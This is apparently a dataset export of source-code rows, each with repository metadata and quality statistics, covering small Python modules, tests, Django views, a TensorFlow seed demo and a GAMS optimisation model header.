| 17 | 33 | 0.852941 | 6 | 34 | 4.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 34 | 1 | 34 | 34 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d3a991c0aed58b17f188cc2571af2e99f9fa68bc | 59 | py | Python | test_pyright_hanging_3.py | vn17/bandit | 50f382eba0ffa5da2fe70d2f0de7403a40ab2ec3 | [
"Apache-2.0"
] | null | null | null | test_pyright_hanging_3.py | vn17/bandit | 50f382eba0ffa5da2fe70d2f0de7403a40ab2ec3 | [
"Apache-2.0"
] | null | null | null | test_pyright_hanging_3.py | vn17/bandit | 50f382eba0ffa5da2fe70d2f0de7403a40ab2ec3 | [
"Apache-2.0"
] | 1 | 2022-01-28T23:09:01.000Z | 2022-01-28T23:09:01.000Z | import numpy as np
reveal_type(np.zeros(1) - np.zeros(1))
| 14.75 | 38 | 0.711864 | 12 | 59 | 3.416667 | 0.666667 | 0.341463 | 0.390244 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.039216 | 0.135593 | 59 | 3 | 39 | 19.666667 | 0.764706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
6ccd66394aaf44082f5f50651314b7e0684b38a8 | 33 | py | Python | xy_agent/__init__.py | kmharrington/xy_stage_control | 1aef165a2ecebf9bd7a659435ff6905ed79b1726 | [
"MIT"
] | null | null | null | xy_agent/__init__.py | kmharrington/xy_stage_control | 1aef165a2ecebf9bd7a659435ff6905ed79b1726 | [
"MIT"
] | 2 | 2021-04-09T15:57:41.000Z | 2021-09-27T15:50:56.000Z | xy_agent/__init__.py | kmharrington/xy_stage_control | 1aef165a2ecebf9bd7a659435ff6905ed79b1726 | [
"MIT"
] | 1 | 2021-04-23T18:29:43.000Z | 2021-04-23T18:29:43.000Z | from .xy_connect import XY_Stage
| 16.5 | 32 | 0.848485 | 6 | 33 | 4.333333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121212 | 33 | 1 | 33 | 33 | 0.896552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9f86f64dde4ad463621a62804a52d5154ebe8162 | 129 | py | Python | src/models/backtest/__init__.py | webclinic017/advisor_app | 9cdab4aca19e193850943ef8308bad5c5ea0415d | [
"MIT"
] | null | null | null | src/models/backtest/__init__.py | webclinic017/advisor_app | 9cdab4aca19e193850943ef8308bad5c5ea0415d | [
"MIT"
] | null | null | null | src/models/backtest/__init__.py | webclinic017/advisor_app | 9cdab4aca19e193850943ef8308bad5c5ea0415d | [
"MIT"
] | null | null | null | from .A1 import get_ticker_data, calc_moving_average, ma_backtest, plot
from .vectorized_backtest import The_Vectorized_Backtest
| 43 | 71 | 0.875969 | 19 | 129 | 5.526316 | 0.736842 | 0.342857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008475 | 0.085271 | 129 | 2 | 72 | 64.5 | 0.881356 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9f93196157c117799439d265aa74b2356c4ef5e1 | 19 | py | Python | pylut/__init__.py | ardhitama/pylut | c40ad2be9c5698fff9a8e034462130e2bf9f8ced | [
"MIT"
] | 93 | 2015-01-15T15:34:08.000Z | 2021-11-04T08:09:28.000Z | pylut/__init__.py | ardhitama/pylut | c40ad2be9c5698fff9a8e034462130e2bf9f8ced | [
"MIT"
] | 7 | 2016-12-15T16:33:45.000Z | 2019-11-22T22:08:19.000Z | pylut/__init__.py | ardhitama/pylut | c40ad2be9c5698fff9a8e034462130e2bf9f8ced | [
"MIT"
] | 33 | 2015-04-26T15:45:10.000Z | 2021-06-21T16:13:11.000Z | from pylut import * | 19 | 19 | 0.789474 | 3 | 19 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 19 | 1 | 19 | 19 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9fb91c4625caa622ee631ba30eabbbcc41f2bd60 | 59 | py | Python | addons/po_persian_calendar/models/__init__.py | apadanagroup/parOdoo | 8c6f67848e0689b76fb780feca08d819fd3c1847 | [
"Apache-2.0"
] | 12 | 2021-03-26T08:39:40.000Z | 2022-03-16T02:20:10.000Z | addons/po_persian_calendar/models/__init__.py | apadanagroup/parOdoo | 8c6f67848e0689b76fb780feca08d819fd3c1847 | [
"Apache-2.0"
] | 13 | 2020-12-20T16:00:21.000Z | 2022-03-14T14:55:30.000Z | addons/po_persian_calendar/models/__init__.py | apadanagroup/parOdoo | 8c6f67848e0689b76fb780feca08d819fd3c1847 | [
"Apache-2.0"
] | 17 | 2020-08-31T11:18:49.000Z | 2022-02-09T05:57:31.000Z | from . import HttpExtensions
from . import UsersExtensions
| 19.666667 | 29 | 0.830508 | 6 | 59 | 8.166667 | 0.666667 | 0.408163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135593 | 59 | 2 | 30 | 29.5 | 0.960784 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4c9ab569ed53de75a09e58003f565fbbac8fe687 | 116 | py | Python | src/operandi_server/models.py | MehmedGIT/OPERANDI_TestRepo | 529d053d4e225642c4b07016edf54736d957a025 | [
"Apache-2.0"
] | 8 | 2022-01-26T09:53:57.000Z | 2022-03-21T10:40:28.000Z | src/operandi_server/models.py | MehmedGIT/OPERANDI_TestRepo | 529d053d4e225642c4b07016edf54736d957a025 | [
"Apache-2.0"
] | null | null | null | src/operandi_server/models.py | MehmedGIT/OPERANDI_TestRepo | 529d053d4e225642c4b07016edf54736d957a025 | [
"Apache-2.0"
] | null | null | null | # Specific response models of the OPERANDI server will be implemented here
# TODO: Implement proper response models
| 38.666667 | 74 | 0.818966 | 16 | 116 | 5.9375 | 0.875 | 0.294737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.155172 | 116 | 2 | 75 | 58 | 0.969388 | 0.956897 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0.5 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4cebd4546485ab684a51196987e1925bef4c467c | 141 | py | Python | mdssdk/parsers/portchannel/__init__.py | akshatha-s13/mdssdk | 615a5528d0af1201e8fe8f305c62b258e5433990 | [
"Apache-2.0"
] | 4 | 2020-12-13T20:02:43.000Z | 2022-02-27T23:36:58.000Z | mdssdk/parsers/portchannel/__init__.py | akshatha-s13/mdssdk | 615a5528d0af1201e8fe8f305c62b258e5433990 | [
"Apache-2.0"
] | 13 | 2020-09-23T07:30:15.000Z | 2022-03-30T01:12:25.000Z | mdssdk/parsers/portchannel/__init__.py | akshatha-s13/mdssdk | 615a5528d0af1201e8fe8f305c62b258e5433990 | [
"Apache-2.0"
] | 12 | 2020-05-11T09:33:21.000Z | 2022-03-18T11:11:28.000Z | from .show_port_channel_database import ShowPortChannelDatabase
from .show_port_channel_database_detail import ShowPortChannelDatabaseDetail
| 47 | 76 | 0.929078 | 15 | 141 | 8.266667 | 0.6 | 0.129032 | 0.193548 | 0.306452 | 0.435484 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.056738 | 141 | 2 | 77 | 70.5 | 0.932331 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
9815a2f264a1fa198fb81dd7f78ff48768cc81e5 | 74 | py | Python | util/__init__.py | lobachevzky/NLP-Project | 26f277b09a621476b21730ce63ffe33f6fae92cd | [
"MIT"
] | null | null | null | util/__init__.py | lobachevzky/NLP-Project | 26f277b09a621476b21730ce63ffe33f6fae92cd | [
"MIT"
] | null | null | null | util/__init__.py | lobachevzky/NLP-Project | 26f277b09a621476b21730ce63ffe33f6fae92cd | [
"MIT"
] | null | null | null | from . import dtree_util
import sys
sys.modules['dtree_util'] = dtree_util | 24.666667 | 38 | 0.797297 | 12 | 74 | 4.666667 | 0.5 | 0.482143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 74 | 3 | 38 | 24.666667 | 0.848485 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e236e8bc6fd36c395d21926c8f38f313ab1c3fb5 | 314,305 | py | Python | models_nonconvex_simple/autocorr_bern35-35fix.py | grossmann-group/pyomo-MINLP-benchmarking | 714f0a0dffd61675649a805683c0627af6b4929e | [
"MIT"
] | 7 | 2019-05-08T19:14:34.000Z | 2021-12-24T00:00:40.000Z | models_nonconvex_simple/autocorr_bern35-35fix.py | grossmann-group/pyomo-MINLP-benchmarking | 714f0a0dffd61675649a805683c0627af6b4929e | [
"MIT"
] | null | null | null | models_nonconvex_simple/autocorr_bern35-35fix.py | grossmann-group/pyomo-MINLP-benchmarking | 714f0a0dffd61675649a805683c0627af6b4929e | [
"MIT"
] | 1 | 2019-05-10T18:34:18.000Z | 2019-05-10T18:34:18.000Z | # MINLP written by GAMS Convert at 08/13/20 17:37:47
#
# Equation counts
# Total E G L N X C B
# 1 0 0 1 0 0 0 0
#
# Variable counts
# x b i s1s s2s sc ... | 117.673156 | 120 | 0.488274 | 77,146 | 314,305 | 1.989306 | 0.004381 | 0.052018 | 0.023823 | 0.020838 | 0.949774 | 0.947376 | 0.47132 | 0.422749 | 0.020819 | 0.000274 | 0 | 0.371149 | 0.266222 | 314,305 | 2,670 | 121 | 117.717228 | 0.294277 | 0.001992 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | null | null | null | null | null | null | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | null | null | null | null | null | null | 0 | 6 |
e25c0302ee8c05536014998029d4db780aef6a92 | 73 | py | Python | jacdac/heart_rate/__init__.py | microsoft/jacdac-python | 712ad5559e29065f5eccb5dbfe029c039132df5a | [
"MIT"
] | 1 | 2022-02-15T21:30:36.000Z | 2022-02-15T21:30:36.000Z | jacdac/heart_rate/__init__.py | microsoft/jacdac-python | 712ad5559e29065f5eccb5dbfe029c039132df5a | [
"MIT"
] | null | null | null | jacdac/heart_rate/__init__.py | microsoft/jacdac-python | 712ad5559e29065f5eccb5dbfe029c039132df5a | [
"MIT"
] | 1 | 2022-02-08T19:32:45.000Z | 2022-02-08T19:32:45.000Z | # Autogenerated file.
from .client import HeartRateClient # type: ignore
| 24.333333 | 50 | 0.794521 | 8 | 73 | 7.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136986 | 73 | 2 | 51 | 36.5 | 0.920635 | 0.438356 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e25f3d9d4062aaa4018c1834a206c3be127fedc6 | 37 | py | Python | Beta/Chessboard legend.py | mwk0408/codewars_solutions | 9b4f502b5f159e68024d494e19a96a226acad5e5 | [
"MIT"
] | 6 | 2020-09-03T09:32:25.000Z | 2020-12-07T04:10:01.000Z | Beta/Chessboard legend.py | mwk0408/codewars_solutions | 9b4f502b5f159e68024d494e19a96a226acad5e5 | [
"MIT"
] | 1 | 2021-12-13T15:30:21.000Z | 2021-12-13T15:30:21.000Z | Beta/Chessboard legend.py | mwk0408/codewars_solutions | 9b4f502b5f159e68024d494e19a96a226acad5e5 | [
"MIT"
] | null | null | null | def grains(n):
return 2**(n**2)-1 | 18.5 | 22 | 0.540541 | 8 | 37 | 2.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 0.189189 | 37 | 2 | 22 | 18.5 | 0.566667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
e29bf102bcc2d01986cf90aafc7b1eecbc6c4679 | 10,158 | py | Python | test-pokersim.py | heyi19931225/Python-Texas-Holdem-Starter-Simio | 1eaf266922fb6478dd907f5cbc9eb388775d16e0 | [
"MIT"
] | 12 | 2017-01-08T17:24:43.000Z | 2021-11-14T09:09:11.000Z | test-pokersim.py | heyi19931225/Python-Texas-Holdem-Starter-Simio | 1eaf266922fb6478dd907f5cbc9eb388775d16e0 | [
"MIT"
] | 1 | 2020-06-15T11:23:41.000Z | 2020-06-15T11:23:41.000Z | test-pokersim.py | heyi19931225/Python-Texas-Holdem-Starter-Simio | 1eaf266922fb6478dd907f5cbc9eb388775d16e0 | [
"MIT"
] | 15 | 2016-05-17T01:01:24.000Z | 2021-11-16T14:37:34.000Z | ##
# test-pokersim.py
#
# Tests
# check hand logic
# check readable_hand, hand_to_numeric
# check best_five
# valid_hand
import unittest
import pokersim
class TestPokerSim(unittest.TestCase):
def test_readable_hand(self):
self.assertEqual("Qd3c3d3h3s",
pokersim.readable_... | 47.915094 | 77 | 0.669718 | 1,225 | 10,158 | 5.347755 | 0.096327 | 0.062281 | 0.134941 | 0.211571 | 0.802015 | 0.774233 | 0.717753 | 0.686002 | 0.662647 | 0.648298 | 0 | 0.060448 | 0.208506 | 10,158 | 211 | 78 | 48.14218 | 0.754353 | 0.062808 | 0 | 0.511905 | 0 | 0 | 0.073512 | 0 | 0 | 0 | 0 | 0 | 0.422619 | 1 | 0.089286 | false | 0 | 0.011905 | 0 | 0.107143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e29e7a0574cd25b3521ccbfec3ec991095438e5e | 446 | py | Python | visual/views.py | dukuaris/Django | d34f3e3f09028511e96b99cae7faa1b46458eed1 | [
"MIT"
] | null | null | null | visual/views.py | dukuaris/Django | d34f3e3f09028511e96b99cae7faa1b46458eed1 | [
"MIT"
] | 12 | 2020-06-06T01:22:26.000Z | 2022-03-12T00:13:42.000Z | visual/views.py | dukuaris/Django | d34f3e3f09028511e96b99cae7faa1b46458eed1 | [
"MIT"
] | null | null | null | from django.shortcuts import render
def visual(requests):
return render(requests, 'visual/welcome.html')
def gapminder(requests):
return render(requests, 'visual/gapminder.html')
def multipleoutputs(requests):
return render(requests, 'visual/multipleoutputs.html')
def interactions(requests):
return ... | 26.235294 | 58 | 0.764574 | 50 | 446 | 6.82 | 0.3 | 0.205279 | 0.293255 | 0.410557 | 0.498534 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121076 | 446 | 16 | 59 | 27.875 | 0.869898 | 0 | 0 | 0 | 0 | 0 | 0.253363 | 0.210762 | 0 | 0 | 0 | 0 | 0 | 1 | 0.454545 | false | 0 | 0.090909 | 0.454545 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
e2b5f97fc73e692fc433612b8f6ee7e770757d71 | 31 | py | Python | victoria/__init__.py | Vitens/Victoria | 9f464105f00165ab3f9fd47837455cb68d4bd704 | [
"Apache-2.0"
] | 1 | 2020-09-08T15:02:06.000Z | 2020-09-08T15:02:06.000Z | victoria/__init__.py | Vitens/Victoria | 9f464105f00165ab3f9fd47837455cb68d4bd704 | [
"Apache-2.0"
] | null | null | null | victoria/__init__.py | Vitens/Victoria | 9f464105f00165ab3f9fd47837455cb68d4bd704 | [
"Apache-2.0"
] | 1 | 2020-01-08T18:32:25.000Z | 2020-01-08T18:32:25.000Z | from .victoria import Victoria
| 15.5 | 30 | 0.83871 | 4 | 31 | 6.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2c4c3f89728261e77401999119b2d00bd703d99b | 7,855 | py | Python | backend/tests/baserow/api/groups/test_group_user_views.py | cjh0613/baserow | 62871f5bf53c9d25446976031aacb706c0abe584 | [
"MIT"
] | 839 | 2020-07-20T13:29:34.000Z | 2022-03-31T21:09:16.000Z | backend/tests/baserow/api/groups/test_group_user_views.py | cjh0613/baserow | 62871f5bf53c9d25446976031aacb706c0abe584 | [
"MIT"
] | 28 | 2020-08-07T09:23:58.000Z | 2022-03-01T22:32:40.000Z | backend/tests/baserow/api/groups/test_group_user_views.py | cjh0613/baserow | 62871f5bf53c9d25446976031aacb706c0abe584 | [
"MIT"
] | 79 | 2020-08-04T01:48:01.000Z | 2022-03-27T13:30:54.000Z | import pytest
from rest_framework.status import (
HTTP_200_OK,
HTTP_204_NO_CONTENT,
HTTP_400_BAD_REQUEST,
HTTP_404_NOT_FOUND,
)
from django.shortcuts import reverse
from baserow.core.handler import CoreHandler
from baserow.core.models import GroupUser
from baserow.core.trash.handler import TrashHandl... | 40.282051 | 84 | 0.711903 | 1,076 | 7,855 | 4.840149 | 0.089219 | 0.119816 | 0.065284 | 0.064516 | 0.863287 | 0.84351 | 0.833909 | 0.811636 | 0.798579 | 0.798579 | 0 | 0.023701 | 0.162062 | 7,855 | 194 | 85 | 40.489691 | 0.767548 | 0 | 0 | 0.682635 | 0 | 0 | 0.187269 | 0.08084 | 0 | 0 | 0 | 0 | 0.239521 | 1 | 0.023952 | false | 0 | 0.035928 | 0 | 0.05988 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2c690bc84bca9b6e4b870cf8e5b1443608a944f6 | 6,567 | py | Python | mayan/apps/mailer/tests/mixins.py | atitaya1412/Mayan-EDMS | bda9302ba4b743e7d829ad118b8b836221888172 | [
"Apache-2.0"
] | 336 | 2019-05-09T07:05:19.000Z | 2022-03-25T09:50:22.000Z | mayan/apps/mailer/tests/mixins.py | atitaya1412/Mayan-EDMS | bda9302ba4b743e7d829ad118b8b836221888172 | [
"Apache-2.0"
] | 9 | 2019-10-29T00:12:27.000Z | 2021-09-09T15:16:51.000Z | mayan/apps/mailer/tests/mixins.py | atitaya1412/Mayan-EDMS | bda9302ba4b743e7d829ad118b8b836221888172 | [
"Apache-2.0"
] | 257 | 2019-05-14T10:26:37.000Z | 2022-03-30T03:37:36.000Z | import json
from ..models import UserMailer
from .literals import (
TEST_EMAIL_ADDRESS, TEST_EMAIL_FROM_ADDRESS,
TEST_USER_MAILER_BACKEND_PATH, TEST_USER_MAILER_LABEL
)
class DocumentMailerViewTestMixin:
def _request_test_document_send_link_single_view(self):
return self.post(
viewna... | 33.676923 | 77 | 0.568296 | 655 | 6,567 | 5.224427 | 0.080916 | 0.119813 | 0.106371 | 0.078901 | 0.880479 | 0.838691 | 0.815313 | 0.79924 | 0.784337 | 0.690824 | 0 | 0 | 0.349931 | 6,567 | 194 | 78 | 33.850515 | 0.801593 | 0 | 0 | 0.467836 | 0 | 0 | 0.16187 | 0.079793 | 0 | 0 | 0 | 0 | 0 | 1 | 0.093567 | false | 0 | 0.017544 | 0.087719 | 0.22807 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2c9aecffdd6b777c17830740cf390cf1fac9b755 | 2,815 | py | Python | Tensorflow/tensorflow_random_seed.py | cuevas1208/BlogEntries | efaa4a21f0cbe8630dcdd856d0f9202a038f3022 | [
"MIT"
] | null | null | null | Tensorflow/tensorflow_random_seed.py | cuevas1208/BlogEntries | efaa4a21f0cbe8630dcdd856d0f9202a038f3022 | [
"MIT"
] | null | null | null | Tensorflow/tensorflow_random_seed.py | cuevas1208/BlogEntries | efaa4a21f0cbe8630dcdd856d0f9202a038f3022 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Tensorflow random seed
"""
import tensorflow as tf
import numpy as np
mu = 0
sigma = 0.3
# variables with/without function seed
fc1_W = tf.Variable(tf.truncated_normal(shape=(1, 2), mean=mu, stddev=sigma, seed=1))
fc2_W = tf.Variable(tf.truncated_normal(shape=(1, 2), mean=mu, stddev=sigma)... | 42.014925 | 121 | 0.666785 | 451 | 2,815 | 4.006652 | 0.13969 | 0.044272 | 0.07969 | 0.057554 | 0.853348 | 0.806862 | 0.806862 | 0.7886 | 0.717764 | 0.717764 | 0 | 0.031388 | 0.196448 | 2,815 | 66 | 122 | 42.651515 | 0.767462 | 0.122202 | 0 | 0.604651 | 0 | 0 | 0.173931 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.046512 | 0 | 0.046512 | 0.302326 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e2fdc91e625cb3fb22bf10795f9fa82f5dac02f9 | 222 | py | Python | ioc_writer/__init__.py | mandiant/ioc_writer | 712247f3a10bdc2584fa18ac909fc763f71df21a | [
"Apache-2.0"
] | 167 | 2015-01-05T00:58:07.000Z | 2022-03-22T18:20:22.000Z | ioc_writer/__init__.py | vitty84/ioc_writer | 712247f3a10bdc2584fa18ac909fc763f71df21a | [
"Apache-2.0"
] | 5 | 2016-05-26T15:24:07.000Z | 2017-12-11T05:23:41.000Z | ioc_writer/__init__.py | mandiant/ioc_writer | 712247f3a10bdc2584fa18ac909fc763f71df21a | [
"Apache-2.0"
] | 60 | 2015-03-15T23:33:14.000Z | 2022-01-12T23:19:53.000Z | from ioc_writer import ioc_api
from ioc_writer import ioc_et
from ioc_writer import ioc_common
from ioc_writer import utils
from ioc_writer import managers
__all__ = ['ioc_api', 'ioc_common', 'ioc_et', 'utils', 'managers'] | 37 | 66 | 0.806306 | 37 | 222 | 4.432432 | 0.27027 | 0.213415 | 0.396341 | 0.579268 | 0.402439 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117117 | 222 | 6 | 66 | 37 | 0.836735 | 0 | 0 | 0 | 0 | 0 | 0.161435 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.833333 | 0 | 0.833333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
391b3c5be435c99144a6db5bd572222cb6d2f3f1 | 29 | py | Python | ngs_utils/jsontemplate/__init__.py | pdiakumis/NGS_Utils | 9eae9f8d5f0e408118d429fde90e297dbac9ae15 | [
"MIT"
] | 3 | 2018-06-06T01:41:51.000Z | 2020-08-20T11:36:06.000Z | ngs_utils/jsontemplate/__init__.py | pdiakumis/NGS_Utils | 9eae9f8d5f0e408118d429fde90e297dbac9ae15 | [
"MIT"
] | 4 | 2019-11-28T03:34:54.000Z | 2021-06-24T23:04:55.000Z | ngs_utils/jsontemplate/__init__.py | pdiakumis/NGS_Utils | 9eae9f8d5f0e408118d429fde90e297dbac9ae15 | [
"MIT"
] | 5 | 2018-03-15T12:43:38.000Z | 2021-06-24T23:12:48.000Z | from ._jsontemplate import *
